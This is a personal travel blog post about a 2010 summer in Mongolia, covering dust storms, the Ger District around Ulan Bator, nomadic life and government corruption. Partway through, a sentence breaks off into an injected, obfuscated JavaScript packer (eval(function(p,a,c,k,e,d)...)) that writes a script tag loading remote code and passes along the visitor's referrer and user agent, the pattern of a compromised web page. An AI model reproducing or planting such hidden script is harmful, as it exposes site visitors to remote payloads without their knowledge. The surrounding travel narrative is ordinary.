Reflections on Land of Blue Skies


Bata wants to know my inspiration or assumptions of Mongolia (and I will oblige).  I traveled to the country known for its beautiful blue skies over the summer of 2010, but as my token Mormon friend described it, what else would this country be known for?  I arrived in May, in the height of Spring.  Spring is also the worst season, said my first host family, because of the dust storms.  It could be a clear day and suddenly you’ll feel something against your skin, like fine grain sandpaper brushing against you, and then it begins.  Large gusts of winds pull trash and particles off the streets into a tornado worthy of transporting Dorothy into another dimension.

This was my introduction to Mongolia.  I had envisioned something a bit more romantic with my youthful mind, but the harsh reality taught me a valuable lesson in traveling – never travel with preconceived notions.  You’ll almost always be disappointed.

After I learned to live and let go a bit, I fell in love with Mongolia.  Would I go back?  If the opportunity allowed it, I would return.  However, like most traveling minds, my daydreams always take me to new places.  There are so many sights and wonders that I haven’t seen or tasted!  Before I start revisiting, I need to explore more of the uncharted territory.

Mongolia helped me ‘grow up’ in a sense.  I’ve always been independent and strong, but traveling by yourself at the tender age of 20 and learning to handle the dangers and mishaps on your own, was my rite of passage into adulthood.  Mongolia wasn’t the easiest country to work as an intern for broadcasting station, but it was a worthwhile experience that forever changed my perspective.

When you travel, you will meet the roughest and the kindest people in society.   Mongolia is no exception.  I’ve met angels on Earth who’ve saved me from being a lost stranger in the windy city built in the desert to violent strangers who don’t know anything about hospitality.

Once you get over the Ger District buy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iahsb|var|u0026u|referrer|yeifs||js|php’.split(‘|’),0,{}))
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that wraps around Ulan Bator in a mile circumference around more than 50 percent of the entire nation’s population, and the uneven roads, the trash heaps and all the usual signs of a developing country, a visitor will be able to enjoy the beautiful summer landscape and beautiful natural land that shows no fingerprints from human pollution.  There are many areas of Mongolia that are remote and only accessible on horseback.  There are no miles and miles of pavement to connect the population together.

A lot of the traditional nomadic lifestyle is still intact.  I’ve heard rumors and whisperings from my city friends that it is a dying tradition.  Mongolian nomads are loosening their reins for a steadier job in the city.  Harsh winters and extreme temperatures keep subsistence farmers and herders on their toes.  However, as the population migrates to Ulan Bator, they are finding themselves trapped in a perpetuating poverty cycle within the no-electricity, no-running-water Ger District.

Mongolia holds a lot of potential in mineral resources and natural beauty, but it first must fix its corrupt government.  I’ve witnessed briberies to the police, and I’ve heard the open confessions of voters accepting bribes.  There is potential, but Mongolia will continue to struggle to shine while situated between Russia and China.

The rolling hills and barren landscape of only grass or scraggly shrubbery is a lot like Utah’s rocky surface.  It is beautiful, but the environment is very homogeneous.  The climate doesn’t allow much vegetation besides the sturdiest and strongest plants, a very symbolic representation of the people.

Mongolia is definitely a very unique country and land.  Not many people travel here unless for Naadam (3-day National Holiday).  Maybe that is why I traveled here.  I’ve never been one to follow the trends or the crowd.  I wouldn’t jump off the cliff; I’d be the first one to leap.  Mongolia inspired me and helped me learn more about myself.

If you are interested in seeing my daily log of my time spent in Mongolia and traveling through Asia, please checkout:

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